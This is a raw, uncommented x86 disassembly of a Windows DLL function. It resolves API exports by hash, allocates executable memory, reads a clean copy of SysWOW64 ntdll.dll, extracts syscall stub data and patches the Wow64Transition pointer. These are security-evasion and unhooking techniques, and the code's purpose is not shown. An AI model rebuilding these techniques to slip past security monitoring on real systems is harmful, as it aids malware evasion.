xor eax, eax
jmp 0x1016c6b3
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x69c]
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x48]
mov dword [ebp - 0xd64], eax
mov byte [ebp - 4], 0x81
jmp 0x1016c5dd
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1016c632
xor eax, eax
jmp 0x1016c6b3
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1016c691
nop dword [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1016c68b
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1016c660
jmp 0x1016c691
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1016c6a0
xor eax, eax
jmp 0x1016c6b3
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [0x102b2fcc], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0x102b22e0
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2fc4]
mov ecx, dword [0x102b2fc0]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x1016c8f3
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd2c], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x8dc], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x8dc]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1016c810
lea eax, [ebp - 0x8dc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1016c810
nop dword [eax]
lea eax, [ebp - 0x8bc]
push eax
lea ecx, [ebp - 0x60]
call fcn.100400e0
mov byte [ebp - 4], 0x8b
lea eax, [ebp - 0xd64]
push eax
lea ecx, [ebp - 0x60]
call fcn.10082650
lea ecx, [ebp - 0x60]
mov edi, dword [eax]
lea eax, [ebp - 0xd90]
push eax
call fcn.10082630
lea ecx, [ebp - 0x60]
mov esi, dword [eax]
lea eax, [ebp - 0xd94]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd98]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x60]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0xd30]
je 0x1016c82a
mov byte [ebp - 4], 0x8f
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd68], eax
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x8dc]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1016c760
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1016c85b
xor eax, eax
jmp 0x1016c8e8
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x8c0]
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd68], eax
mov byte [ebp - 4], 0x81
jmp 0x1016c819
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1016c86b
xor eax, eax
jmp 0x1016c8e8
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1016c8c6
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd2c]
je 0x1016c8c0
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1016c894
jmp 0x1016c8c6
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1016c8d5
xor eax, eax
jmp 0x1016c8e8
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov ecx, dword [0x102b2fc0]
mov dword [0x102b1f10], eax
mov dword [ecx + 2], eax
push dword [ebp - 0x14]
push dword [0x102b2fc0]
push dword [0x102b22e0]
call fcn.10171890
mov eax, dword [0x102b2f90]
add esp, 0xc
sub eax, dword [0x102b2f8c]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2fcc]
mov dword [ebp - 0x44c], 0
test eax, eax
jne 0x1016cb18
push eax
push 8
mov dword [ebp - 0xb00], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0xb00]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1016ca2f
lea eax, [ebp - 0xb00]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1016ca2f
nop dword [eax]
lea eax, [ebp - 0xae0]
push eax
lea ecx, [ebp - 0x78]
call fcn.100400e0
mov byte [ebp - 4], 0x92
lea eax, [ebp - 0xd68]
push eax
lea ecx, [ebp - 0x78]
call fcn.10082650
lea ecx, [ebp - 0x78]
mov edi, dword [eax]
lea eax, [ebp - 0xd9c]
push eax
call fcn.10082630
lea ecx, [ebp - 0x78]
mov esi, dword [eax]
lea eax, [ebp - 0xda0]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xda8]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x78]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1016ca49
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd6c], eax
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0xb00]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1016c980
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1016ca7a
xor eax, eax
jmp 0x1016cb13
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xae4]
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd6c], eax
mov byte [ebp - 4], 0x81
jmp 0x1016ca38
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1016ca8d
xor eax, eax
jmp 0x1016cb13
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1016caf1
nop word [eax + eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1016caeb
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1016cac0
jmp 0x1016caf1
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1016cb00
xor eax, eax
jmp 0x1016cb13
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [0x102b2fcc], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
lea ecx, [ebp - 0x44c]
push ecx
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2f90]
mov ecx, dword [0x102b2f8c]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b22e0]
mov dword [ecx + 6], eax
push dword [ebp - 0x14]
push dword [0x102b2f8c]
push dword [ebp - 0x44c]
call fcn.10171890
mov ecx, dword [ebp - 0x44c]
add esp, 0xc
mov eax, dword [0x102b2fb8]
mov dword [0x102b22d8], ecx
mov dword [0x102b2f88], ecx
mov dword [ebp - 4], 0xffffffff
jmp 0x1016cb85
mov ecx, dword [0x102b2f88]
test al, 2
jne 0x1016d1b1
or eax, 2
mov dword [0x102b2fb8], eax
mov dword [ebp - 4], 0x99
xorps xmm0, xmm0
push str.C:WindowsSysWOW64_ntdll.dll
lea ecx, [ebp - 0xa8]
movlpd qword [ebp - 0xd34], xmm0
call fcn.100400e0
mov byte [ebp - 4], 0x9a
lea eax, [ebp - 0xd6c]
push eax
lea ecx, [ebp - 0xa8]
call fcn.10082630
lea ecx, [ebp - 0xa8]
mov esi, dword [eax]
lea eax, [ebp - 0xda4]
push eax
call fcn.10082650
lea ecx, [ebp - 0xd59]
push ecx
push esi
push dword [eax]
lea ecx, [ebp - 0xc0]
call fcn.10150ca0
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x460], 0x10
call fcn.101253b0
mov edi, dword [sym.imp.WINTRUST.dll_WinVerifyTrust]
mov dword [ebp - 0x45c], eax
lea eax, [ebp - 0x460]
mov dword [ebp - 0x47c], eax
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x458], 0
push eax
push 0
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x24], 0xaac56b
mov dword [ebp - 0x20], 0x11d0cd44
mov dword [ebp - 0x1c], 0xc000c28c
mov dword [ebp - 0x18], 0xee95c24f
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x494], 0x34
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 2
mov dword [ebp - 0x484], 0
mov dword [ebp - 0x480], 1
mov dword [ebp - 0x478], 1
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x468], 0
call edi
mov esi, eax
mov dword [ebp - 0x478], 2
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
push eax
push 0
call edi
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0xc0]
call fcn.10082670
mov byte [ebp - 4], 0x9a
lea eax, [ebp - 0xc0]
mov dword [ebp - 0xd70], eax
mov byte [ebp - 4], 0x9f
lea ecx, [ebp - 0xa8]
call fcn.100403e0
mov byte [ebp - 4], 0x99
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xd78], eax
mov byte [ebp - 4], 0x99
test esi, esi
jne 0x1016d18c
push 0xb8
lea eax, [ebp - 0x178]
push esi
push eax
call fcn.10171fe0
add esp, 0xc
lea ecx, [ebp - 0x178]
push 1
push 0x40
push 0x24
push str.C:WindowsSysWOW64_ntdll.dll
call fcn.1004d850
mov byte [ebp - 4], 0xa2
lea eax, [ebp - 0xdc4]
push eax
lea ecx, [ebp - 0x178]
call fcn.1013fbd0
push 0
push 0
push 0
mov esi, dword [eax + 8]
lea ecx, [ebp - 0x178]
add esi, dword [eax]
call fcn.1013fcf0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
movq qword [ebp - 0x30], xmm0
lea ecx, [ebp - 0x30]
push esi
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
call fcn.10150ee0
mov byte [ebp - 4], 0xa3
lea ecx, [ebp - 0x178]
push 0
push esi
push dword [ebp - 0x30]
call fcn.1013fe40
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x1016d136
mov eax, dword [ebp - 0x30]
mov ecx, 0x5a4d
mov dword [ebp - 0xd38], eax
cmp word [eax], cx
je 0x1016ce1a
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1016d142
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [ebp - 0xd40], esi
cmp dword [esi], 0x4550
je 0x1016ce48
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1016d142
mov edi, dword [esi + 0x78]
test edi, edi
je 0x1016ce96
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016ce8c
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1016ce7e
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1016ce86
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1016ce68
mov esi, dword [ebp - 0xd40]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1016ce98
mov eax, edi
mov ecx, dword [ebp - 0xd38]
lea edi, [eax + ecx]
mov eax, dword [edi + 0x20]
mov dword [ebp - 0xd3c], edi
test eax, eax
je 0x1016cf08
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
test eax, eax
je 0x1016cef9
mov esi, dword [ebp - 0xd3c]
mov edi, dword [ecx + 0xc]
cmp dword [esi + 0x20], edi
mov esi, dword [ebp - 0xd40]
jb 0x1016ceeb
mov eax, dword [ecx + 8]
add eax, edi
mov edi, dword [ebp - 0xd3c]
cmp dword [edi + 0x20], eax
jb 0x1016cef9
movzx eax, word [esi + 6]
jmp 0x1016cef1
mov edi, dword [ebp - 0xd3c]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1016cec1
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, dword [edi + 0x20]
mov ecx, dword [ebp - 0xd38]
lea edx, [eax + ecx]
mov dword [ebp - 0xd28], 0xffffffff
xor eax, eax
mov dword [ebp - 0xd2c], edx
mov dword [ebp - 0x448], eax
cmp dword [edi + 0x14], eax
jbe 0x1016cfd5
nop dword [eax]
mov edi, dword [edx + eax*4]
test edi, edi
je 0x1016cf84
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016cf74
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1016cf66
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1016cf6e
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1016cf50
mov esi, dword [ebp - 0xd40]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd38]
add eax, edi
jmp 0x1016cf86
xor eax, eax
add ecx, eax
mov edx, 0x811c9dc5
call fcn.100644d0
cmp eax, 0xe06437fc
je 0x1016cfc3
mov eax, dword [ebp - 0x448]
mov edi, dword [ebp - 0xd3c]
inc eax
mov ecx, dword [ebp - 0xd38]
mov edx, dword [ebp - 0xd2c]
mov dword [ebp - 0x448], eax
cmp eax, dword [edi + 0x14]
jb 0x1016cf30
jmp 0x1016cfd5
mov edi, dword [ebp - 0x448]
mov dword [ebp - 0xd28], edi
mov edi, dword [ebp - 0xd3c]
mov eax, dword [ebp - 0xd28]
cmp eax, dword [edi + 0x14]
jbe 0x1016cffb
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1016d142
mov edi, dword [edi + 0x24]
test edi, edi
je 0x1016d04e
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016d044
nop dword [eax + eax]
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1016d036
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1016d03e
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1016d020
mov esi, dword [ebp - 0xd40]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1016d050
mov eax, edi
mov ecx, dword [ebp - 0xd38]
add eax, ecx
mov dword [ebp - 0xd2c], eax
mov eax, dword [ebp - 0xd3c]
mov edi, dword [eax + 0x1c]
test edi, edi
je 0x1016d0b8
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016d0a8
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1016d09a
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1016d0a2
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1016d084
mov esi, dword [ebp - 0xd40]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd38]
add eax, edi
jmp 0x1016d0ba
mov eax, edi
mov edx, dword [ebp - 0xd28]
add ecx, eax
mov eax, dword [ebp - 0xd2c]
movzx eax, word [eax + edx*2]
mov edi, dword [ecx + eax*4]
test edi, edi
je 0x1016d118
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1016d10e
nop dword [eax]
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1016d106
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1016d10e
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1016d0f0
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1016d11a
mov eax, edi
add eax, dword [ebp - 0xd38]
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1016d142
mov edi, dword [ebp - 0xd30]
mov esi, dword [ebp - 0xd34]
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x30]
call fcn.100583a0
mov byte [ebp - 4], 0x99
lea ecx, [ebp - 0x108]
call fcn.10043d80
lea eax, [ebp - 0x108]
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 0xd70], eax
mov byte [ebp - 4], 0x99
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1016e78d
add esp, 4
jmp 0x1016d198
mov edi, dword [ebp - 0xd30]
mov esi, dword [ebp - 0xd34]
mov dword [0x102b2f98], esi
mov dword [0x102b2f9c], edi
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [0x102b2f88]
mov eax, dword [ecx + 6]
mov eax, dword [eax + 2]
mov dword [ebp - 0xd60], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x1016d3f9
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd2c], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0xd24], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0xd24]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1016d311
lea eax, [ebp - 0xd24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1016d311
nop dword [eax]
lea eax, [ebp - 0xd04]
push eax
lea ecx, [ebp - 0x90]
call fcn.100400e0
mov dword [ebp - 4], 0xa5
lea eax, [ebp - 0xd70]
push eax
lea ecx, [ebp - 0x90]
call fcn.10082650
lea ecx, [ebp - 0x90]
mov edi, dword [eax]
lea eax, [ebp - 0xd78]
push eax
call fcn.10082630
lea ecx, [ebp - 0x90]
mov esi, dword [eax]
lea eax, [ebp - 0x448]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd40]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x90]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0xd30]
je 0x1016d32b
mov dword [ebp - 4], 0xa9
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x90]
mov dword [ebp - 0xd3c], eax
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xd24]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1016d240
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1016d36b
xor eax, eax
jmp 0x1016d3ee
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xd08]
mov dword [ebp - 4], 0xa6
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x90]
mov dword [ebp - 0xd30], eax
mov dword [ebp - 4], 0xffffffff
jmp 0x1016d31a
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1016d37b
xor eax, eax
jmp 0x1016d3ee
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
or edx, 0xffffffff
mov dword [ebp - 0xd30], eax
cmp dword [ecx + 0x14], esi
jbe 0x1016d3d1
nop dword [eax]
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd2c]
je 0x1016d3cf
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1016d3a0
or edx, 0xffffffff
jmp 0x1016d3d1
mov edx, esi
cmp edx, dword [ecx + 0x14]
jbe 0x1016d3da
xor eax, eax
jmp 0x1016d3ee
mov eax, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add eax, edi
movzx eax, word [eax + edx*2]
lea eax, [ecx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
mov ecx, dword [0x102b2f88]
mov dword [0x102b1f10], eax
cmp dword [ebp - 0xd60], eax
je 0x1016d405
xor ecx, ecx
jmp 0x1016d417
mov eax, dword [0x102b2f98]
mov dword [ecx + 1], eax
movzx eax, word [0x102b2f9c]
mov dword [ecx + 0xd], eax
push 0
push dword [ebp - 0x450]
call ecx
push 0xf
push dword [ebp - 0x450]
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [ebp - 0x450]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1016fd3e
mov esp, ebp
pop ebp
ret